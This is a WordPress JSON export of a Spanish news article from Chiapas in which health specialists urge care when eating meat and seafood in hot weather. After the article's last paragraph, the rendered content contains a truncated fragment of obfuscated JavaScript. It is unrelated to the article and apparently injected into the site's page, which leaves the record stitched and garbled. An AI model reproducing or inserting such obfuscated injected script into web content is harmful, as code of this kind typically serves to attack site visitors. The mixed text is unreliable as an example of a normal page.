{"id":21145,"date":"2025-03-29T02:35:11","date_gmt":"2025-03-29T02:35:11","guid":{"rendered":"https:\/\/reporteciudadanochiapas.com\/?p=21145"},"modified":"2025-03-29T02:35:11","modified_gmt":"2025-03-29T02:35:11","slug":"piden-extremar-precaucion-al-consumir-carnes-y-marisco-por-altas-temperaturas","status":"publish","type":"post","link":"https:\/\/reporteciudadanochiapas.com\/?p=21145","title":{"rendered":"Piden extremar precauci\u00f3n al consumir carnes y marisco por altas temperaturas"},"content":{"rendered":"\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"300\" height=\"168\" src=\"https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2025\/03\/IMG-20250328-WA0025.jpg\" alt=\"\" class=\"wp-image-21146\"\/><\/figure>\n\n\n\n<p>Manuel Jim\u00e9nez.<\/p>\n\n\n\n<p>28 de marzo de 2025. Tuxtla Guti\u00e9rrez.- Especialistas hacen un llamado a la poblaci\u00f3n extremar precauciones para evitar padecimientos por consumo de carnes y mariscos debido a las altas temperaturas.<\/p>\n\n\n\n<p>James G\u00f3mez Montes, director del laboratorio estatal de salud p\u00fablica, hizo un llamado a la poblaci\u00f3n a extremar precauciones al consumir y cocinar alimentos que se descomponen m\u00e1s r\u00e1pido por las altas temperaturas.<\/p>\n\n\n\n<p>Record\u00f3 que el calor acelera la descomposici\u00f3n de la comida que provoca que las enfermedades gastrointestinales.<\/p>\n\n\n\n<p>\u201cLas altas temperaturas aceleran el proceso de descomposici\u00f3n de los alimentos y que esto aumenta el riesgo de intoxicaci\u00f3n alimentaria, por lo que es preciso mantener los alimentos refrigerados y evitar que se expongan de manera prolongada a altas temperaturas\u201d, coment\u00f3.<\/p>\n\n\n\n<p>Expuso que, cuando hay cambios de estaci\u00f3n se produce el fen\u00f3meno de la marea roja en los mares, por ello las autoridades tambi\u00e9n previenen sobre el consumo de mariscos.<\/p>\n\n\n\n<p>De acuerdo con el especialista Hugo Hern\u00e1ndez P\u00e9rez, public\u00f3 un articulo en el que advierte que se les debe que poner mayor atenci\u00f3n en la temporada de calor a los mariscos y a las carnes.<br>\u201cLos mariscos por provenir del mar, su tiempo de caducidad se reduce considerablemente y es necesario conservarlos en el refrigerador y comerlos frescos\u201d, explic\u00f3.<\/p>\n\n\n\n<p>Mientras que las carnes, adem\u00e1s de que pueden ser m\u00e1s pesadas para la digesti\u00f3n, suelen descomponerse r\u00e1pidamente y esto aplica para todos los tipos de carnicos pollo, pavo, res y cerdo.<\/p>\n\n\n\n<p>Los dos especialistas recomiendan a la poblaci\u00f3n que en la medida de lo posible siempre traten de comer en casa, lavarse las manos frecuentemente y cuando se vaya a un establecimiento fijo o semifijo en donde vendan comida, verificar que tengan las medidas de salubridad adecuadas.<\/p>\n\r\n(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return ","protected":false},"excerpt":{"rendered":"<p>Manuel Jim\u00e9nez. 28 de marzo de 2025. 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